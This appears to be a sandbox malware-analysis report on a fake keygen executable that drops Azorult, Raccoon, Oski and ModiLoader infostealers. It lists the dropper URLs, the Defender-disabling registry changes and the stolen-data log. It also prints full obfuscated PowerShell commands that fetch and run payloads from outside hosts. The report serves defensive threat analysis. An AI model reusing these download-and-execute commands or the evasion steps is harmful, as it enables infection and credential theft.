azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
45s
max time network
157s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (118) — копия.exe

Score

10^/10

azorult modiloader oski raccoon discovery evasion infostealer ransomware spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note

[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 02:04:26 GMT Bot_ID: 664A9041-4AC4-46F3-B3DC-87DB4D57890E_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.51 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: GOHCSFBB - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (834 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 4 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral46/memory/4256-308-0x000000000B350000-0x000000000B355000-memory.dmp	disable_win_def
behavioral46/memory/4976-317-0x0000000005150000-0x0000000005153000-memory.dmp	disable_win_def
C:\Windows\Temp\n23wfdxv.exe	disable_win_def
C:\Windows\temp\n23wfdxv.exe	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.

Processes:

yara_rule

raccoon_log_file

yara_rule
raccoon_log_file

ModiLoader First Stage 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\fiapujRyqw.exe	modiloader_stage1

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

8 4004 powershell.exe
11 4004 powershell.exe
12 1916 powershell.exe
14 1916 powershell.exe
15 4500 powershell.exe
17 4500 powershell.exe
Downloads MZ/PE file

flow	pid	process
8	4004	powershell.exe
11	4004	powershell.exe
12	1916	powershell.exe
14	1916	powershell.exe
15	4500	powershell.exe
17	4500	powershell.exe

Executes dropped EXE 24 IoCs

Processes:

Keygen.exedzu.exelzk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exelzk.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exetjf.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exetjf.exeNHtrdsaghfDF.exedzu.exehgfnmbasdo.exehgfnmbasdo.exeaxcsdfa.exeaxcsdfa.exeO4cqPBDB9r.exefiapujRyqw.exejrAVAyMmOh.exeAHaPRlPIvX.exen23wfdxv.exe

pid	process
1980	Keygen.exe
4972	dzu.exe
5024	lzk.exe
4184	FVjhgtresfdbv.exe
4220	NHtrdsaghfDF.exe
4304	lzk.exe
4344	NHtrdsaghfDF.exe
4332	FVjhgtresfdbv.exe
1624	tjf.exe
4872	FVjhgtresfdbv.exe
4876	NHtrdsaghfDF.exe
4964	FVjhgtresfdbv.exe
4956	tjf.exe
3928	NHtrdsaghfDF.exe
4236	dzu.exe
4348	hgfnmbasdo.exe
4436	hgfnmbasdo.exe
4708	axcsdfa.exe
4744	axcsdfa.exe
996	O4cqPBDB9r.exe
2364	fiapujRyqw.exe
4256	jrAVAyMmOh.exe
4976	AHaPRlPIvX.exe
4264	n23wfdxv.exe

Loads dropped DLL 17 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exelzk.exehgfnmbasdo.exe

pid	process
4332	FVjhgtresfdbv.exe
4332	FVjhgtresfdbv.exe
4332	FVjhgtresfdbv.exe
4964	FVjhgtresfdbv.exe
4964	FVjhgtresfdbv.exe
4964	FVjhgtresfdbv.exe
4304	lzk.exe
4436	hgfnmbasdo.exe
4436	hgfnmbasdo.exe
4436	hgfnmbasdo.exe
4304	lzk.exe
4304	lzk.exe
4304	lzk.exe
4304	lzk.exe
4304	lzk.exe
4304	lzk.exe
4304	lzk.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

AHaPRlPIvX.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	AHaPRlPIvX.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	AHaPRlPIvX.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

lzk.exe

description ioc process

File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini lzk.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini	lzk.exe

Suspicious use of SetThreadContext 9 IoCs

Processes:

lzk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exetjf.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exedzu.exehgfnmbasdo.exeaxcsdfa.exe

description	pid	process	target process
PID 5024 set thread context of 4304	5024	lzk.exe	lzk.exe
PID 4184 set thread context of 4332	4184	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4220 set thread context of 4344	4220	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 1624 set thread context of 4956	1624	tjf.exe	tjf.exe
PID 4872 set thread context of 4964	4872	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4876 set thread context of 3928	4876	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4972 set thread context of 4236	4972	dzu.exe	dzu.exe
PID 4348 set thread context of 4436	4348	hgfnmbasdo.exe	hgfnmbasdo.exe
PID 4708 set thread context of 4744	4708	axcsdfa.exe	axcsdfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exehgfnmbasdo.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	hgfnmbasdo.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

2784 timeout.exe
2360 timeout.exe
2312 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4704 taskkill.exe
4912 taskkill.exe
676 taskkill.exe
4396 taskkill.exe

pid	process
2784	timeout.exe
2360	timeout.exe
2312	timeout.exe

pid	process
4704	taskkill.exe
4912	taskkill.exe
676	taskkill.exe
4396	taskkill.exe

Modifies registry class 3 IoCs

Processes:

cmd.exedzu.exehgfnmbasdo.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	dzu.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	hgfnmbasdo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exejrAVAyMmOh.exe

pid	process
1916	powershell.exe
4004	powershell.exe
2824	powershell.exe
2628	powershell.exe
2824	powershell.exe
4004	powershell.exe
1916	powershell.exe
2628	powershell.exe
2628	powershell.exe
1916	powershell.exe
2824	powershell.exe
4004	powershell.exe
4528	powershell.exe
4528	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
4528	powershell.exe
4500	powershell.exe
4528	powershell.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

lzk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exetjf.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

5024 lzk.exe
4184 FVjhgtresfdbv.exe
4220 NHtrdsaghfDF.exe
1624 tjf.exe
4872 FVjhgtresfdbv.exe
4876 NHtrdsaghfDF.exe

pid	process
5024	lzk.exe
4184	FVjhgtresfdbv.exe
4220	NHtrdsaghfDF.exe
1624	tjf.exe
4872	FVjhgtresfdbv.exe
4876	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedzu.exetaskkill.exetaskkill.exehgfnmbasdo.exetaskkill.exeaxcsdfa.exejrAVAyMmOh.exeAHaPRlPIvX.exepowershell.exetaskkill.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	4972	dzu.exe
Token: SeDebugPrivilege	4704	taskkill.exe
Token: SeDebugPrivilege	4912	taskkill.exe
Token: SeDebugPrivilege	4348	hgfnmbasdo.exe
Token: SeDebugPrivilege	676	taskkill.exe
Token: SeDebugPrivilege	4708	axcsdfa.exe
Token: SeDebugPrivilege	4256	jrAVAyMmOh.exe
Token: SeDebugPrivilege	4976	AHaPRlPIvX.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	4396	taskkill.exe
Token: SeDebugPrivilege	4688	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Keygen.exelzk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exetjf.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exejrAVAyMmOh.exe

pid	process
1980	Keygen.exe
5024	lzk.exe
4184	FVjhgtresfdbv.exe
4220	NHtrdsaghfDF.exe
1624	tjf.exe
4872	FVjhgtresfdbv.exe
4876	NHtrdsaghfDF.exe
4256	jrAVAyMmOh.exe
4256	jrAVAyMmOh.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (118) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exelzk.exe

description	pid	process	target process
PID 3812 wrote to memory of 1384	3812	Keygen — копия (118) — копия.exe	cmd.exe
PID 3812 wrote to memory of 1384	3812	Keygen — копия (118) — копия.exe	cmd.exe
PID 3812 wrote to memory of 1384	3812	Keygen — копия (118) — копия.exe	cmd.exe
PID 1384 wrote to memory of 1980	1384	cmd.exe	Keygen.exe
PID 1384 wrote to memory of 1980	1384	cmd.exe	Keygen.exe
PID 1384 wrote to memory of 1980	1384	cmd.exe	Keygen.exe
PID 1384 wrote to memory of 2436	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 2436	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 2436	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 2704	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 2704	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 2704	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 2784	1384	cmd.exe	timeout.exe
PID 1384 wrote to memory of 2784	1384	cmd.exe	timeout.exe
PID 1384 wrote to memory of 2784	1384	cmd.exe	timeout.exe
PID 1384 wrote to memory of 2060	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 2060	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 2060	1384	cmd.exe	mshta.exe
PID 2436 wrote to memory of 1916	2436	mshta.exe	powershell.exe
PID 2436 wrote to memory of 1916	2436	mshta.exe	powershell.exe
PID 2436 wrote to memory of 1916	2436	mshta.exe	powershell.exe
PID 2704 wrote to memory of 2824	2704	mshta.exe	powershell.exe
PID 2704 wrote to memory of 2824	2704	mshta.exe	powershell.exe
PID 2704 wrote to memory of 2824	2704	mshta.exe	powershell.exe
PID 2060 wrote to memory of 4004	2060	mshta.exe	powershell.exe
PID 2060 wrote to memory of 4004	2060	mshta.exe	powershell.exe
PID 2060 wrote to memory of 4004	2060	mshta.exe	powershell.exe
PID 1384 wrote to memory of 1152	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 1152	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 1152	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 2360	1384	cmd.exe	timeout.exe
PID 1384 wrote to memory of 2360	1384	cmd.exe	timeout.exe
PID 1384 wrote to memory of 2360	1384	cmd.exe	timeout.exe
PID 1152 wrote to memory of 2628	1152	mshta.exe	powershell.exe
PID 1152 wrote to memory of 2628	1152	mshta.exe	powershell.exe
PID 1152 wrote to memory of 2628	1152	mshta.exe	powershell.exe
PID 1384 wrote to memory of 4356	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 4356	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 4356	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 4404	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 4404	1384	cmd.exe	mshta.exe
PID 1384 wrote to memory of 4404	1384	cmd.exe	mshta.exe
PID 4356 wrote to memory of 4500	4356	mshta.exe	powershell.exe
PID 4356 wrote to memory of 4500	4356	mshta.exe	powershell.exe
PID 4356 wrote to memory of 4500	4356	mshta.exe	powershell.exe
PID 4404 wrote to memory of 4528	4404	mshta.exe	powershell.exe
PID 4404 wrote to memory of 4528	4404	mshta.exe	powershell.exe
PID 4404 wrote to memory of 4528	4404	mshta.exe	powershell.exe
PID 4004 wrote to memory of 4972	4004	powershell.exe	dzu.exe
PID 4004 wrote to memory of 4972	4004	powershell.exe	dzu.exe
PID 4004 wrote to memory of 4972	4004	powershell.exe	dzu.exe
PID 1916 wrote to memory of 5024	1916	powershell.exe	lzk.exe
PID 1916 wrote to memory of 5024	1916	powershell.exe	lzk.exe
PID 1916 wrote to memory of 5024	1916	powershell.exe	lzk.exe
PID 5024 wrote to memory of 4184	5024	lzk.exe	FVjhgtresfdbv.exe
PID 5024 wrote to memory of 4184	5024	lzk.exe	FVjhgtresfdbv.exe
PID 5024 wrote to memory of 4184	5024	lzk.exe	FVjhgtresfdbv.exe
PID 5024 wrote to memory of 4220	5024	lzk.exe	NHtrdsaghfDF.exe
PID 5024 wrote to memory of 4220	5024	lzk.exe	NHtrdsaghfDF.exe
PID 5024 wrote to memory of 4220	5024	lzk.exe	NHtrdsaghfDF.exe
PID 5024 wrote to memory of 4304	5024	lzk.exe	lzk.exe
PID 5024 wrote to memory of 4304	5024	lzk.exe	lzk.exe
PID 5024 wrote to memory of 4304	5024	lzk.exe	lzk.exe
PID 5024 wrote to memory of 4304	5024	lzk.exe	lzk.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (118) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (118) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3812

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2948.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (118) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1384

C:\Users\Admin\AppData\Local\Temp\2948.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1980

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2948.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2436

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1916

C:\Users\Public\lzk.exe
"C:\Users\Public\lzk.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5024

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4184

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4332

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4332 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\101132050100875\\* & exit
8⤵
PID:4240

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4332
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4704

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4220

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4344

C:\Users\Public\lzk.exe
"C:\Users\Public\lzk.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:4304

C:\Users\Admin\AppData\Local\Temp\O4cqPBDB9r.exe
"C:\Users\Admin\AppData\Local\Temp\O4cqPBDB9r.exe"
7⤵
- Executes dropped EXE
PID:996

C:\Users\Admin\AppData\Local\Temp\fiapujRyqw.exe
"C:\Users\Admin\AppData\Local\Temp\fiapujRyqw.exe"
7⤵
- Executes dropped EXE
PID:2364

C:\Users\Admin\AppData\Local\Temp\jrAVAyMmOh.exe
"C:\Users\Admin\AppData\Local\Temp\jrAVAyMmOh.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4256

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\agvecnou.inf
8⤵
PID:4880

C:\Users\Admin\AppData\Local\Temp\AHaPRlPIvX.exe
"C:\Users\Admin\AppData\Local\Temp\AHaPRlPIvX.exe"
7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:4976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:5104

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\lzk.exe"
7⤵
PID:5096

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:2312

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2948.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2704

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2784

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2948.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
